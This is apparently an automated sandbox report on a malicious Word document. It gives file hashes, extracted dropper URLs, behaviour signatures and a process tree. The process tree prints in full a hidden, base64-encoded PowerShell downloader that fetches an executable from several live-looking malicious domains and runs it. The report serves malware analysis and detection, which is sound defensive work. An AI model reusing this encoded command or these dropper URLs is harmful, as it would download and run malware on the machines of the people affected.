Analysis

  • max time kernel
    122s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    20-11-2024 20:35

General

  • Target

    0f9f54936c277ed089c3e693ecc1cb229745b07364400b8247815c888a09cf9b.doc

  • Size

    173KB

  • MD5

    5241dd964d853c1c46b4806a6a5199c8

  • SHA1

    66f8e49163a8b17d9727b45205bbd6c43771eeaf

  • SHA256

    0f9f54936c277ed089c3e693ecc1cb229745b07364400b8247815c888a09cf9b

  • SHA512

    201752e0dee9f4bcb3b14ef29e6b75c2696bb4d07ff93234ee36c5f509927a039a2e25af1337d94f6e1ca9ad47bb8cb18ed92b7390efc1dbd930ad4fb3d4933a

  • SSDEEP

    3072:ss2y/Gdy/ktGDWLS0HZWD5w8K7Nk9pD7IBUSWzB31U3h:ss2k4PtGiL3HJk9pD7bdd31k

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://staging.mcuinternational.org/tmp/zmrx/

exe.dropper

https://35g8.com/defines/5etmq2/

exe.dropper

https://namdeinvest.com/wp-content/hxjzb/

exe.dropper

http://ibtinfracon.com/wp/WNr/

exe.dropper

http://websitetest.dranubhasingh.com/wp-includes/7j8/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\0f9f54936c277ed089c3e693ecc1cb229745b07364400b8247815c888a09cf9b.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2440
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2776
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABDAHAAcABwAGgAYgBuAGoAZgBuAGwAZwBjAD0AJwBTAGsAYwBhAG0AbQBpAHUAegB3ACcAOwAkAEwAdQBtAGUAagBsAGIAdwBjAGIAcgB2AHQAIAA9ACAAJwA4ADcAMQAnADsAJABEAHgAbgBzAHMAcQB4AGYAawBiAHcAPQAnAEsAZwBxAHkAZgB5AGoAcwBqAGgAcwB0AHQAJwA7ACQAUABqAGwAeQBuAGEAdQB6AHIAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEwAdQBtAGUAagBsAGIAdwBjAGIAcgB2AHQAKwAnAC4AZQB4AGUAJwA7ACQAVQBwAHMAbABsAHkAZwBoAGEAdABuAG0APQAnAEgAaQBmAGIAbgBiAGIAZQBiACcAOwAkAFUAZABlAHgAcAB5AHgAZgA9ACYAKAAnAG4AZQAnACsAJwB3AC0AbwAnACsAJwBiAGoAZQBjAHQAJwApACAAbgBlAFQALgB3AEUAQgBjAEwASQBlAG4AdAA7ACQATwB2AHcAeABlAHEAbwBmAHMAPQAnAGgAdAB0AHAAOgAvAC8AcwB0AGEAZwBpAG4AZwAuAG0AYwB1AGkAbgB0AGUAcgBuAGEAdABpAG8AbgBhAGwALgBvAHIAZwAvAHQAbQBwAC8AegBtAHIAeAAvACoAaAB0AHQAcABzADoALwAvADMANQBnADgALgBjAG8AbQAvAGQAZQBmAGkAbgBlAHMALwA1AGUAdABtAHEAMgAvACoAaAB0AHQAcABzADoALwAvAG4AYQBtAGQAZQBpAG4AdgBlAHMAdAAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAGgAeABqAHoAYgAvACoAaAB0AHQAcAA6AC8ALwBpAGIAdABpAG4AZgByAGEAYwBvAG4ALgBjAG8AbQAvAHcAcAAvAFcATgByAC8AKgBoAHQAdABwADoALwAvAHcAZQBiAHMAaQB0AGUAdABlAHMAdAAuAGQAcgBhAG4AdQBiAGgAYQBzAGkAbgBnAGgALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvADcAagA4AC8AJwAuACIAcwBQAGAATABpAFQAIgAoACcAKgAnACkAOwAkAEcAdwB1AHAAdgB5AHoAZQBkAGsAdgBpAGwAPQAnAEUAegBxAGUAcgBsAHMAbgBiAHoAbgByAGYAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEEAeABnAHUAegBqAGgAeABtACAAaQBuACAAJABPAHYAdwB4AGUAcQBvAGYAcwApAHsAdAByAHkAewAkAFUAZABlAHgAcAB5AHgAZgAuACIARABvAHcAbgBsAGAATwBgAEEARABmAGkAYABMAGUAIgAoACQAQQB4AGcAdQB6AGoAaAB4AG0ALAAgACQAUABqAGwAeQBuAGEAdQB6AHIAKQA7ACQAUQBuAGIAbQBlAGIAbQByAGUAdQBuAGgAPQAnAE0AegB1AG8AbgB4AGMAbgB3AHoAbQBvACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJACcAKwAnAHQAZQBtACcAKQAgACQAUABqAGwAeQBuAGEAdQB6AHIAKQAuACIATABlAE4AYABHAHQAaAAiACAALQBnAGUAIAAyADcANgAzADgAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAUwBgAFQAYQByAHQAIgAoACQAUABqAGwAeQBuAGEAdQB6AHIAKQA7ACQASABoAHUAdQBrAHUAaABoAHkAagB5AD0AJwBMAGsAZABkAGYAcwBwAHoAdAAnADsAYgByAGUAYQBrADsAJABOAHEAZABxAGIAYQBxAHIAdABiAHgAbgA9ACcAQwBhAGUAcwB2AGUAcABlAHYAYgBtACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEkAcgBkAHEAbwBkAGMAaAB0AD0AJwBGAHkAdABoAHoAZgBvAHcAagBxAGQAJwA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2536

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\F2B8243B.wmf

      Filesize

      444B

      MD5

      690171f8af13e63c3dcf2dfb07368e90

      SHA1

      dc5ed551d6996dc34564e3d5177a74271195b906

      SHA256

      c3a5d9972b7c5e76cf52129172f9e39dfe3016fbd0672f8aa3588460c9b204f3

      SHA512

      6e1f9c04cb7717fc77eabf57d10c97722eb03ddda89afea170d3d2f6bc56a979ad20921e70e59e953d012944b3d7c9a4f3924aea25c2ac717cef7e09f1cd1040

    • memory/2440-22-0x0000000006670000-0x0000000006770000-memory.dmp

      Filesize

      1024KB

    • memory/2440-2-0x000000007101D000-0x0000000071028000-memory.dmp

      Filesize

      44KB

    • memory/2440-6-0x0000000006490000-0x0000000006590000-memory.dmp

      Filesize

      1024KB

    • memory/2440-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2440-15-0x0000000006670000-0x0000000006770000-memory.dmp

      Filesize

      1024KB

    • memory/2440-0-0x000000002F591000-0x000000002F592000-memory.dmp

      Filesize

      4KB

    • memory/2440-25-0x0000000006670000-0x0000000006770000-memory.dmp

      Filesize

      1024KB

    • memory/2440-26-0x0000000006670000-0x0000000006770000-memory.dmp

      Filesize

      1024KB

    • memory/2440-40-0x000000007101D000-0x0000000071028000-memory.dmp

      Filesize

      44KB

    • memory/2440-41-0x0000000006670000-0x0000000006770000-memory.dmp

      Filesize

      1024KB

    • memory/2440-42-0x0000000006670000-0x0000000006770000-memory.dmp

      Filesize

      1024KB

    • memory/2536-32-0x000000001B620000-0x000000001B902000-memory.dmp

      Filesize

      2.9MB

    • memory/2536-33-0x00000000027F0000-0x00000000027F8000-memory.dmp

      Filesize

      32KB